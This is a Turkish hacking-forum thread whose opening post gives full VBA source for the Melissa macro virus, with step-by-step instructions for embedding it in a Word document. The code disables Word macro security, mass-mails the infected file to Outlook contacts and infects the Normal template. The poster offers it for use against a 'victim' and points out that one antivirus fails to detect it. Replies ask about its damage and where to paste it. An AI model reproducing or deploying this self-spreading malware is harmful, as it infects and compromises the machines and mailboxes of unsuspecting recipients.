İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Dünyayı kasıp kavuran melisa virüsü kodları !

20-04-2014 20:30
#1
Blue-Moon - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2013
Nereden:
./systemdown
Mesajlar:
2.066
Teşekkür (Etti):
364
Teşekkür (Aldı):
522
Konular:
613
Dünyayı kasıp kavuran melisa virüsü kodları


Tarih: Pzr Hzr 10, 2007 11:24 am Mesaj konusu: Dünyayı kasıp kavuran melisa virüsü kodları.. Bu Virus icin ozel temizleme araclari bile yaptilar bu virus kla****** 2-3 Sene once dunyayi calkaladi.Kisaca Mahvetti diyeyim size.etkili virustur.Dikkatli kullanin.
Bir Microsoft Word Belgesi Acalim

Bos Belge acildiginda Alt + f11 Tuslarina Basalim Visual Basic Acilacaktir.
Project 1 / Microsoft Word objects / This ******** Acilacaktir

This ******** Seciniz Ve icine Melisa Virusu Kodlari YAziniz Ve Kaydet CTRL + S Tuslarina basiniz Ve Visual Basic uygulamasini kapatiniz.
Word Belgesini Kaydedin Ve Cikin

Melisa Virusu Executable EXe calismasi degildir Virus Sadece makro Virusudur Ve kurbaniniz bUnu kesinlikle yer.Exe uzantisi olmadigindan dolayi kabul edecektir.
Ancak panda ve Norton da denedim ikiside virus olrak buluyor.Avast Virus olarak bulmuyor dikkatinizi cekeyim bu konuya.

.................................................. ...Kodlar......................................... ......................

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

20-04-2014 21:39
#2
mehmet4428 - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
05/2013
Mesajlar:
604
Teşekkür (Etti):
61
Teşekkür (Aldı):
38
Konular:
60
Bu virüsün zararı nedir ?
Bununla neler yapabilir ?
20-04-2014 21:40
#3
Blue-Moon - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2013
Nereden:
./systemdown
Mesajlar:
2.066
Teşekkür (Etti):
364
Teşekkür (Aldı):
522
Konular:
613
Melissa virüsü nasıl ortaya çıktı? - UZMANTV Rehber buna bi bak incele kardşm
21-04-2014 22:09
#4
SoNCaSH - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2014
Nereden:
<'hacked'>
Mesajlar:
87
Teşekkür (Etti):
6
Teşekkür (Aldı):
47
Konular:
5
Adam " 20 ay hapis ve 5000 dolar " ceza almış. Denememek de fayda var !!
Kullanıcı İmzası
'13-04-2014'
'I'm no Supırmın '
21-04-2014 22:26
#5
mehmet4428 - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
05/2013
Mesajlar:
604
Teşekkür (Etti):
61
Teşekkür (Aldı):
38
Konular:
60
Bu virüs şimdiki facebookta beğendirme ile uğraşanların yaptıkları ile aynı sayılır.
Sana bir mesaj gelir ona tıklarsın sonra sende de o kişinin her şeyini beğenir ve arkadaşlarına da o virüsü yollamış olursun.
15-09-2017 03:31
#6
Üyelik tarihi:
07/2017
Mesajlar:
42
Teşekkür (Etti):
19
Teşekkür (Aldı):
3
Konular:
9
kodları yorum bölümüne mi yazıp yollicaz nereye yazıcaz
15-09-2017 03:43
#7
Üyelik tarihi:
08/2017
Nereden:
TEKİRDAĞ
Yaş:
17
Mesajlar:
181
Teşekkür (Etti):
13
Teşekkür (Aldı):
17
Konular:
19
Güzel Konu Sağol Ama Yenk Bilgisiyar Kullnanlar .bat da yer yani
Kullanıcı İmzası
нαк αяαуαη ναяѕα, нαккıηı νєяιη. вαş кαℓ∂ıяαη ναяѕα, вαşıηı кєѕιη.
ll. ค๖໓ülhค๓i̇໓ hคຖ
15-09-2017 03:45
#8
Üyelik tarihi:
10/2015
Nereden:
404 no found
Mesajlar:
44
Teşekkür (Etti):
16
Teşekkür (Aldı):
1
Konular:
0
teşekkürler
Kullanıcı İmzası
15-09-2017 04:11
#9
Pirikoo - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2017
Nereden:
Onun Galbi
Mesajlar:
2.459
Teşekkür (Etti):
328
Teşekkür (Aldı):
432
Konular:
431
Zararları ?
15-09-2017 12:35
#10
Üyelik tarihi:
07/2017
Mesajlar:
42
Teşekkür (Etti):
19
Teşekkür (Aldı):
3
Konular:
9
kodları yorum bölümüne mi yazıp yollicaz nereye yazıcaz

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı